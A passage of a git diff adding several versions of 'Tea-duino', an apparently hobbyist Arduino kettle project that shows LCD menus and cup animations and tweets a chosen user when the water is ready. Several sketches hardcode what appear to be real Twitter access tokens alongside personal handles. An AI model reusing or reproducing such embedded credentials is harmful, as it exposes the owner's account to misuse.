configuration. + // Ethernet.begin(mac); + Serial.begin(9600); + Serial.println("Ready!"); + pinMode(buttonPin, INPUT); + buttonState = LOW; +} + +void loop() +{ + buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Serial.println("connecting ..."); + if (twitter.post(msg)) { + // Specify &Serial to output received response to Serial. + // If no output is required, you can just omit the argument, e.g. + // int status = twitter.wait(); + int status = twitter.wait(&Serial); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } + delay(1000); + } +} + diff --git a/Projects/Tea-duino Main/Tea-duino 2.0.pde b/Projects/Tea-duino Main/Tea-duino 2.0.pde new file mode 100755 index 0000000..0dff1f0 --- /dev/null +++ b/Projects/Tea-duino Main/Tea-duino 2.0.pde @@ -0,0 +1,315 @@ +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *menuTree[] = {"mainMenu", "Users", "Add user"}; +char *mainMenu[] = {"Choose user", "Add user"}; +char *twitterHandles[] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@Odinbn", "@Hozar132"}; +char *itsDone[] = {"Vannet er ferdig!", "TEATIME!", "my Man, the water is done!"}; + +char *errorWhereIsBoiler [] = {"Sett vannkokeren", "pa knappen."}; +char *startWaterMessage [] = {"Skru pa vannet!"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +Twitter twitter("2307428619-TIM5H7Lh6L9HrrQLMynR5cinWpNbiUTt2827myM"); +byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; + +const int buttonPin = 3; +int resetPin = 9; +int buttonState = 0; +int UD = 1; +int LR = 1; + +boolean movedDown = false; +int upDownCount = 0; +int menuSelector = 0; +int mainMenuController = 0; +int animationSelector = 2; + +char* username; + +int lengthMainMenu = sizeof(mainMenu); +int lengthUserMenu = sizeof(twitterHandles); + +void setup() +{ + pinMode(resetPin, OUTPUT); + + lcd.begin(16,2); + Ethernet.begin(mac); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); + + pinMode(buttonPin, INPUT); + + upDownCount = writeMainMenu(movedDown, upDownCount); +} + +void loop() +{ + while (menuTree[menuSelector] == menuTree[0]) + { + delay(200); + LR = analogRead(A0); + UD = analogRead(A1); + if (UD == 0) + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeMainMenu(movedDown, upDownCount); + } + if (UD == 1022) + { + movedDown = true; + upDownCount = writeMainMenu(movedDown, upDownCount); + upDownCount++; + } + if (LR == 0) + { + menuSelector = 1; + upDownCount = 0; + upDownCount = writeUserMenu(movedDown, upDownCount); + delay(400); + } + } + while (menuTree[menuSelector] == menuTree[1]) + { + delay(200); + LR = analogRead(A0); + UD = analogRead(A1); + if (UD == 0) + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeUserMenu(movedDown, upDownCount); + } + if (UD == 1022) + { + movedDown = true; + upDownCount = writeUserMenu(movedDown, upDownCount); + upDownCount++; + } + if (LR == 0) + { + username = twitterHandles[upDownCount]; + buttonState = digitalRead(buttonPin); + if (buttonState == LOW) + { + lcd.clear(); + lcd.write(errorWhereIsBoiler[0]); + lcd.setCursor(0,1); + lcd.write(errorWhereIsBoiler[1]); + delay(2000); + upDownCount = writeUserMenu(movedDown, upDownCount); + } + else + { + checkWaterON(username); + } + } + if (LR == 1022) + { + menuSelector = 0; + upDownCount = 0; + upDownCount = writeMainMenu(movedDown, upDownCount); + } + } +} + +int writeMainMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(mainMenu[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + } + return i; +} + +int writeUserMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1,1); + lcd.write(twitterHandles[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(twitterHandles[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(twitterHandles[i + 1]); + } + return i; +} + +void checkWaterON(char* username) +{ + lcd.clear(); + lcd.write(startWaterMessage[0]); + delay(1500); + + buttonState = digitalRead(buttonPin); + if (buttonState == LOW) + { + waterOnAndTweet(username); + } + else + { + checkWaterON(username); + } +} + +void waterOnAndTweet(char* username) +{ + buttonState = digitalRead(buttonPin); + while (buttonState == LOW) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(animationSelector); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(animationSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animationSelector++; + delay(1500); + if (animationSelector == 6) + { + animationSelector = 2; + } + waterOnAndTweet(username); + } + if (twitter.post(username)) + { + int status = twitter.wait(&lcd); + if (status == 200) + { + waitForPickup(); + } + else + if(status == 403) + { + lcd.clear(); + lcd.write("Duplicate tweet!"); + lcd.setCursor(0,1); + lcd.write(status); + delay(65000); + twitter.post(username); + + // int status = twitter.wait(&lcd); + // if(status == 200) + // { + // waitForPickup(); + // } + // else + // { + // waterOnAndTweet(username); + // } + } + } +} + +void waitForPickup() +{ + buttonState = digitalRead(buttonPin); + while (buttonState == HIGH) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(6); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(6); + lcd.setCursor(10, 1); + lcd.write(1); + + delay(1500); + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(7); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(7); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1500); + waitForPickup(); + } + while (buttonState == LOW) + { + lcd.clear(); + lcd.write("RESET!"); + digitalWrite(resetPin, HIGH); + delay(3000); + } +} \ No newline at end of file diff --git a/Projects/Tea-duino Main/Tea-duino.pde b/Projects/Tea-duino Main/Tea-duino.pde new file mode 100755 index 0000000..c39d042 --- /dev/null +++ b/Projects/Tea-duino Main/Tea-duino.pde @@ -0,0 +1,284 @@ +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *mainMenu[] = {"Choose user", "Add new user"}; +char *twitterHandles[] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@OdinBN", "@Hozar132"}; +char *alphabet[] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", + "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", + "4", "5", "6", "7", "8", "9"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + + +//byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); +char message[] = "Didn't have anyone to send to... :("; + +const int buttonPin = 9; +int buttonState = 0; +int animatorSelector = 2; +int UD = 1; +int LR = 1; + +int i = 1; +int j = 0; +int k = 0; +int lengthMainMenu = 2; +int lengthTwitterHandles = 5; +int lengthAlphabet = 36; + +boolean boolMainMenu = true; +boolean boolTwitterHandles = false; +boolean waterBoiling = false; +int selected = 0; + + +void setup() +{ + lcd.begin(16, 2); + + pinMode(buttonPin, INPUT); + + //Ethernet.begin(mac); + + lcd.write("Ready!"); + delay(1000); + lcd.clear(); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); +} + +void loop() +{ + while (boolMainMenu == true) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 1022) + { + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + selected = 0; + } + if (UD == 0) + { + i = 0; + lcd.clear(); + lcd.setCursor(1, 0); + lcd.write(mainMenu[i]); + lcd.setCursor(0, 1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + delay(800); + selected = 1; + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 1022) + { + if (selected == 0) + { + boolMainMenu = false; + boolTwitterHandles = true; + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1, 1); + lcd.write(twitterHandles[i + 1]); + } + else + if (selected == 1) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 1022) + { + k++; + if (k == 37) + { + k = 0; + } + } + if (UD == 0) + { + k--; + if (k == -1) + { + k = 37; + } + } + + lcd.clear(); + lcd.write(alphabet[k]); + lcd.write(alphabet[k + 1]); + + /*for(int k = 0; k < lengthTwitterHandles; k++) + { + + }*/ + + if (LR == 0) + { + //Save the typed-inn name + //Add @ to the name + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + } + } + } + } + + while(boolTwitterHandles == true) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 0) + { + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + i++; + if (i == lengthMainMenu) + { + i = 0; + } + } + if (UD == 1022) + { + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i]); + delay(800); + i--; + if (i == 0) + { + //i = lengthMainMenu; + i = 1; + } + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 1022) + { + //ERROR + //Invalid conversion from 'char*' to 'char' + //message[] = twitterHandles[i]; + waterBoiling = false; + boolTwitterHandles = false; + lcd.clear(); + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 0) + { + boolTwitterHandles = false; + boolMainMenu = true; + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1, 1); + lcd.write(mainMenu[i + 1]); + } + } + + //Maybe (while(waterBoiling == true && buttonState == LOW)) + while(waterBoiling == true) + { + lcd.setCursor(9, 1); + lcd.write(animatorSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animatorSelector++; + delay(3000); + lcd.clear(); + + if(animatorSelector > 5) + { + animatorSelector = 2; + } + + buttonState = digitalRead(buttonPin); + if(buttonState == HIGH) + { + twitter.post(message); + waterBoiling = false; + buttonState = digitalRead(buttonPin); + } + } + + while(waterBoiling == false && buttonState == HIGH) + { + lcd.clear(); + lcd.setCursor(9, 1); + lcd.write(6 + j); + lcd.setCursor(10, 1); + lcd.write(1); + j++; + delay(1200); + if (j == 2) + { + j = 0; + } + buttonState = digitalRead(buttonPin); + if(buttonState == LOW) + { + boolMainMenu = true; + lcd.clear(); + } + } +} \ No newline at end of file diff --git a/Projects/Tea-duino Main/TeaAnimation/TeaAnimation.ino b/Projects/Tea-duino Main/TeaAnimation/TeaAnimation.ino new file mode 100755 index 0000000..f29d999 --- /dev/null +++ b/Projects/Tea-duino Main/TeaAnimation/TeaAnimation.ino @@ -0,0 +1,200 @@ +#include +#include +#include +#include + +// initialize the library with the numbers of the interface pins +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +byte CoffeeEmpty[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b11111, + 0b10001, + 0b10001, + 0b10001, + 0b01110 +}; + +byte CoffeeHank[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b00000, + 0b11000, + 0b01000, + 0b11000, + 0b00000 +}; + +byte Coffee1[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b11111, + 0b10001, + 0b10001, + 0b11111, + 0b01110 +}; + +byte Coffee2[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b11111, + 0b10001, + 0b11111, + 0b11111, + 0b01110 +}; + +byte Coffee3[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b11111, + 0b11111, + 0b11111, + 0b11111, + 0b01110 +}; + +byte CoffeeSmoke1[8] = { + 0b00101, + 0b01010, + 0b00101, + 0b11111, + 0b11111, + 0b11111, + 0b11111, + 0b01110 +}; + +byte CoffeeSmoke2[8] = { + 0b01010, + 0b00101, + 0b01010, + 0b11111, + 0b11111, + 0b11111, + 0b11111, + 0b01110 +}; + +byte mac[] = { 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); +char msg[] = "@KevinMidboe @SindreIvers"; + +int buttonPin = 9; + +int animationSelector = 2; +int buttonState = 0; + +boolean waterDone = false; +boolean tweeted = false; + +void setup() +{ + Ethernet.begin(mac); + //Serial.begin(9600); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); + + lcd.begin(16, 2); + + pinMode(buttonPin, INPUT); + buttonState = LOW; +} + +void loop() +{ + while (waterDone == false) + { + lcd.setCursor(9, 1); + lcd.write(animationSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animationSelector++; + delay(3000); + lcd.clear(); + + if (animationSelector > 5) + { + animationSelector = 2; + } + + buttonState = digitalRead(buttonPin); + if(buttonState == HIGH) + { + waterDone = true; + } + } + buttonState = digitalRead(buttonPin); + if (waterDone == true && buttonState == HIGH) + { + while(tweeted == false) + { + Serial.println("connecting ..."); + if (twitter.post(msg)) + { + // Specify &Serial to output received response to Serial. + // If no output is required, you can just omit the argument, e.g. + // int status = twitter.wait(); + int status = twitter.wait(&Serial); + if (status == 200) + { + Serial.println("OK."); + tweeted = true; + } + else + { + Serial.print("failed : code "); + Serial.println(status); + } + } + else + { + Serial.println("connection failed."); + } + } + } + while(buttonState == HIGH && tweeted == true) + { + delay(1000); + lcd.clear(); + lcd.setCursor(9, 1); + lcd.write(6); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1200); + + lcd.clear(); + lcd.setCursor(9, 1); + lcd.write(7); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1200); + + buttonState = digitalRead(buttonPin); + } + + if (buttonState == LOW && tweeted == true) + { + lcd.clear(); + lcd.write(">Choose User"); + lcd.setCursor(1, 1); + lcd.write("Add new User"); + delay(4000); + } +} + + + diff --git a/Projects/Tea-duino Main/Tea_duino/Tea_duino.ino b/Projects/Tea-duino Main/Tea_duino/Tea_duino.ino new file mode 100755 index 0000000..b629c8e --- /dev/null +++ b/Projects/Tea-duino Main/Tea_duino/Tea_duino.ino @@ -0,0 +1,284 @@ +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *mainMenu[] = {"Choose user", "Add new user"}; +char *twitterHandles[] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@OdinBN", "@Hozar132"}; +char *alphabet[] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", + "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", + "4", "5", "6", "7", "8", "9"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + + +//byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); +char message[] = "Didn't have anyone to send to... :("; + +const int buttonPin = 9; +int buttonState = 0; +int animatorSelector = 2; +int UD = 1; +int LR = 1; + +int i = 1; +int j = 0; +int k = 0; +int lengthMainMenu = 2; +int lengthTwitterHandles = 5; +int lengthAlphabet = 36; + +boolean boolMainMenu = true; +boolean boolTwitterHandles = false; +boolean waterBoiling = false; +int selected = 0; + + +void setup() +{ + lcd.begin(16, 2); + + pinMode(buttonPin, INPUT); + + //Ethernet.begin(mac); + + lcd.write("Ready!"); + delay(1000); + lcd.clear(); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); +} + +void loop() +{ + while (boolMainMenu == true) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 1022) + { + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + selected = 0; + } + if (UD == 0) + { + i = 0; + lcd.clear(); + lcd.setCursor(1, 0); + lcd.write(mainMenu[i]); + lcd.setCursor(0, 1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + delay(800); + selected = 1; + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 1022) + { + if (selected == 0) + { + boolMainMenu = false; + boolTwitterHandles = true; + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1, 1); + lcd.write(twitterHandles[i + 1]); + } + else + if (selected == 1) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 1022) + { + k++; + if (k == 37) + { + k = 0; + } + } + if (UD == 0) + { + k--; + if (k == -1) + { + k = 37; + } + } + + lcd.clear(); + lcd.write(alphabet[k]); + lcd.write(alphabet[k + 1]); + + /*for(int k = 0; k < lengthTwitterHandles; k++) + { + + }*/ + + if (LR == 0) + { + //Save the typed-inn name + //Add @ to the name + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + } + } + } + } + + while(boolTwitterHandles == true) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 0) + { + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + i++; + if (i == lengthMainMenu) + { + i = 0; + } + } + if (UD == 1022) + { + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i]); + delay(800); + i--; + if (i == 0) + { + //i = lengthMainMenu; + i = 1; + } + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 1022) + { + //ERROR + //Invalid conversion from 'char*' to 'char' + //message[] = twitterHandles[i]; + waterBoiling = false; + boolTwitterHandles = false; + lcd.clear(); + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 0) + { + boolTwitterHandles = false; + boolMainMenu = true; + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1, 1); + lcd.write(mainMenu[i + 1]); + } + } + + //Maybe (while(waterBoiling == true && buttonState == LOW)) + while(waterBoiling == true) + { + lcd.setCursor(9, 1); + lcd.write(animatorSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animatorSelector++; + delay(3000); + lcd.clear(); + + if(animatorSelector > 5) + { + animatorSelector = 2; + } + + buttonState = digitalRead(buttonPin); + if(buttonState == HIGH) + { + twitter.post(message); + waterBoiling = false; + buttonState = digitalRead(buttonPin); + } + } + + while(waterBoiling == false && buttonState == HIGH) + { + lcd.clear(); + lcd.setCursor(9, 1); + lcd.write(6 + j); + lcd.setCursor(10, 1); + lcd.write(1); + j++; + delay(1200); + if (j == 2) + { + j = 0; + } + buttonState = digitalRead(buttonPin); + if(buttonState == LOW) + { + boolMainMenu = true; + lcd.clear(); + } + } +} diff --git a/Projects/Tea-duino Main/Tea_duino_2_0/Tea_duino_2_0.ino b/Projects/Tea-duino Main/Tea_duino_2_0/Tea_duino_2_0.ino new file mode 100755 index 0000000..deb1a78 --- /dev/null +++ b/Projects/Tea-duino Main/Tea_duino_2_0/Tea_duino_2_0.ino @@ -0,0 +1,315 @@ +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *menuTree[] = {"mainMenu", "Users", "Add user"}; +char *mainMenu[] = {"Choose user", "Add user"}; +char *twitterHandles[] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@Odinbn", "@Hozar132"}; +char *itsDone[] = {"Vannet er ferdig!", "TEATIME!", "my Man, the water is done!"}; + +char *errorWhereIsBoiler [] = {"Sett vannkokeren", "pa knappen."}; +char *startWaterMessage [] = {"Skru pa vannet!"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +Twitter twitter("2307428619-TIM5H7Lh6L9HrrQLMynR5cinWpNbiUTt2827myM"); +byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; + +const int buttonPin = 3; +int resetPin = 3; +int buttonState; +int UD = 1; +int LR = 1; + +boolean movedDown = false; +int upDownCount = 0; +int menuSelector = 0; +int mainMenuController = 0; +int animationSelector = 2; + +char* username; + +int lengthMainMenu = sizeof(mainMenu); +int lengthUserMenu = sizeof(twitterHandles); + +void setup() +{ + pinMode(resetPin, OUTPUT); + + lcd.begin(16,2); + Ethernet.begin(mac); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); + + pinMode(buttonPin, INPUT); + + upDownCount = writeMainMenu(movedDown, upDownCount); +} + +void loop() +{ + while (menuTree[menuSelector] == menuTree[0]) + { + delay(200); + LR = analogRead(A0); + UD = analogRead(A1); + if (UD == 0) + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeMainMenu(movedDown, upDownCount); + } + if (UD == 1022) + { + movedDown = true; + upDownCount = writeMainMenu(movedDown, upDownCount); + upDownCount++; + } + if (LR == 0) + { + menuSelector = 1; + upDownCount = 0; + upDownCount = writeUserMenu(movedDown, upDownCount); + delay(400); + } + } + while (menuTree[menuSelector] == menuTree[1]) + { + delay(200); + LR = analogRead(A0); + UD = analogRead(A1); + if (UD == 0) + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeUserMenu(movedDown, upDownCount); + } + if (UD == 1022) + { + movedDown = true; + upDownCount = writeUserMenu(movedDown, upDownCount); + upDownCount++; + } + if (LR == 0) + { + username = twitterHandles[upDownCount]; + buttonState = analogRead(buttonPin); + if (buttonState != 0) + { + lcd.clear(); + lcd.write(errorWhereIsBoiler[0]); + lcd.setCursor(0,1); + lcd.write(errorWhereIsBoiler[1]); + delay(2000); + upDownCount = writeUserMenu(movedDown, upDownCount); + } + else + { + checkWaterON(username); + } + } + if (LR == 1022) + { + menuSelector = 0; + upDownCount = 0; + upDownCount = writeMainMenu(movedDown, upDownCount); + } + } +} + +int writeMainMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(mainMenu[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + } + return i; +} + +int writeUserMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1,1); + lcd.write(twitterHandles[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(twitterHandles[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(twitterHandles[i + 1]); + } + return i; +} + +void checkWaterON(char* username) +{ + lcd.clear(); + lcd.write(startWaterMessage[0]); + delay(1500); + + buttonState = analogRead(buttonPin); + if (buttonState != 0) + { + waterOnAndTweet(username); + } + else + { + checkWaterON(username); + } +} + +void waterOnAndTweet(char* username) +{ + buttonState = analogRead(buttonPin); + while (buttonState != 0) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(animationSelector); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(animationSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animationSelector++; + delay(1500); + if (animationSelector == 6) + { + animationSelector = 2; + } + waterOnAndTweet(username); + } + if (twitter.post(username)) + { + int status = twitter.wait(&lcd); + if (status == 200) + { + waitForPickup(); + } + else + if(status == 403) + { + lcd.clear(); + lcd.write("Duplicate tweet!"); + lcd.setCursor(0,1); + lcd.write(status); + delay(65000); + twitter.post(username); + + // int status = twitter.wait(&lcd); + // if(status == 200) + // { + // waitForPickup(); + // } + // else + // { + // waterOnAndTweet(username); + // } + } + } +} + +void waitForPickup() +{ + buttonState = analogRead(buttonPin); + while (buttonState == 0) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(6); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(6); + lcd.setCursor(10, 1); + lcd.write(1); + + delay(1500); + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(7); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(7); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1500); + waitForPickup(); + } + while (buttonState != 0) + { + lcd.clear(); + lcd.write("RESET!"); + digitalWrite(resetPin, HIGH); + delay(3000); + } +} diff --git a/Projects/Tea-duino Main/Tea_duino_3_0/Tea_duino_3_0.ino b/Projects/Tea-duino 